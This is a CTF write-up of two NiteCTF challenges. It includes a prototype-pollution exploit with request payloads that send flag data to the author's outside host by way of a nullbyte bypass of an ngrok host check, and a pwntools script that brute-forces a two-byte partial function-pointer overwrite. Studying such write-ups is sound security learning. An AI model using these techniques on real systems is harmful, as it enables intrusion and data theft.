Writeups
These are two challenges which I found interesting from NiteCTF. Just 1x pwn and 1x web.
web/Mini Survey
Downloading the source, we see this is a Javascript challenge immediately observing some unusual practices:
1
surveyOneInitialData[fieldInput1] = { [fieldInput2]: fieldInput3 };
Placing user input into square bracket notation such as the above can lead to Prototype Pollution in objects. Judging by the fact that this endpoint is named PollutionSurvey
and the various Object
operations occuring we can probably assume this challenge will entail some Prototype Pollution.
1
2
3
4
5
6
7
8
9
10
app.post("/pollutionsurvey", (req, res) => {
let fieldInput1 = req.body.name;
let fieldInput2 = req.body.city;
let fieldInput3 = req.body.pollutionRate;
surveyOneInitialData[fieldInput1] = { [fieldInput2]: fieldInput3 };
surveyOneInitialData = updateDBs(surveyOneInitialData, {
Name: { City: "Rating" },
});
res.redirect("/thankyou");
});
This is the full endpoint. We may pollute the object however we wish and it will be passed into an updateDBs()
function call. This function is defined below.
1
2
3
4
5
6
7
function updateDBs(dataObj, original) {
let commData = Object.create(dataObj);
commData["flag"] = "nite{FAKE_FAKE_FAKE_FLAG}";
commData["log"] = "new entry added";
sendData(commData);
return original;
}
So it is going to instantiate an Object using Object.create(dataObj)
where dataObj
is our polluted Object instance. It will then append the flag to the data object and pass this new data object to the sendData()
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function sendData(data) {
const postData = JSON.stringify(data);
if (data.host != undefined) {
backupServerHost = data.host;
}
if (data.port != undefined) {
backupServerPort = data.port;
}
const options = {
host: backupServerHost || "localhost",
port: backupServerPort || "8888",
};
if (
typeof options.host === "string" &&
options.host.endsWith(".ngrok.io")
) {
const socket = net.connect(options, () => {
socket.write(postData);
socket.end();
});
socket.on("error", (err) => {
console.error("Error", err.message);
});
}
}
There’s quite a bit to unpack here. We may define a data.host
or a data.port
which will update the backupServerHost
and backupServerPort
variables respectively.
Our host
must be of type string
and end with .ngrok.io
which hints towards us using the ngrok service to retrieve the flag. From here, the attack should be a bit more obvious.
Back to the endpoint, particularly the line containing surveyOneInitialData[fieldInput1] = { [fieldInput2]: fieldInput3 };
. We will need to define fieldInput1
as __proto__
to pollute the prototype. We will then define fieldInput2
as host
and fieldInput3
as our ngrok URL. The default port will be 8888
.
However, we may also pollute the port separately. Because these are globalized variables they will be set to whatever value they were last polluted to.
I am not a fan of the ngrok service. There are many issues with using it for this challenge (specifying ports, requiring user confirmation before accepting requests, etc). As such, I tried to bypass this using a nullbyte. We can pass our host as myhost.com%00.ngrok.io
and it will send the data to myhost.com
due to the nullbyte termination. This was unintended but certainly useful.
So I opened up a reverse shell connection using nc -lvnp 1337
and then sent a request to the website to pollute the port variable to 1337
:
1
name=__proto__&city=port&pollutionRate=1337
After this, I simply polluted the host variable to send it to my IP address 1.3.3.7
to collect.
1
name=__proto__&city=host&pollutionRate=1.3.3.7%00.ngrok.io
Then we get the flag!
nite{pr0t0_p0llut3d_116a4601b79d6b8f}
pwn/The road not taken
This was a pretty fun binary exploitation challenge. Running checksec
we see that there is no canary and Partial RELRO but PIE and NX are both enabled.
Opening in Ghidra we can get an idea of what it’s doing.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void main(void)
{
undefined buf [520];
code *wrongdirection;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
wrongdirection = ::wrongdirection;
puts("Can you please lead me to the right direction to get to the flag?");
read(0,buf,522);
(*wrongdirection)();
return;
}
So it’s instantiating a stack variable containing a pointer to a function which it later calls. This is always pretty dangerous as stack variables can be a lot more susceptible to buffer overflow attacks. We can see the buffer in this case is 520 bytes but the call to read()
allows us to write 522 bytes to the stack. This is a 2 byte overflow.
Given that PIE is enabled, it would be unrealistic for us to overflow to anything useful (given the address randomization). As such, it became obvious that we would be using this two byte overflow to partially modify the pointer address by changing the last 2 bytes to point to something more useful.
We can see the functions below.
1
2
3
4
5
6
7
8
9
0x0000000000001000 _init
0x0000000000001030 puts@plt
0x0000000000001040 setbuf@plt
0x0000000000001050 read@plt
0x0000000000001060 _start
0x0000000000001159 rightdirection
0x000000000000117e wrongdirection
0x0000000000001194 main
0x0000000000001208 _fini
It’s pretty clear that we need to overflow to the rightdirection
function. From running the binary and analyzing with pwndbg
I noticed that PIE was randomizing the addresses each run but the last byte remained the same. Since we can overflow the last 2 bytes, we know we will want to overflow a \x59
to correspond to rightdirection
but we don’t know the correct byte preceding this.
However, there’s only 256 possible bytes so we can just brute force this. My script is below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
local = False
context.log_level = 'error'
for i in range(256):
if local:
p = process('./the_road_not_taken1')
else:
p = remote('34.100.142.216', 1337)
print(p.recv())
payload = b"A"*520
payload += "Y".encode() + chr(i).encode()
try:
p.sendline(payload)
print(p.recvuntil(b"}"))
break
except EOFError:
pass
When running it, we eventually get our flag. nite{R0b3rT_fro5t_ftw_32dx5hp}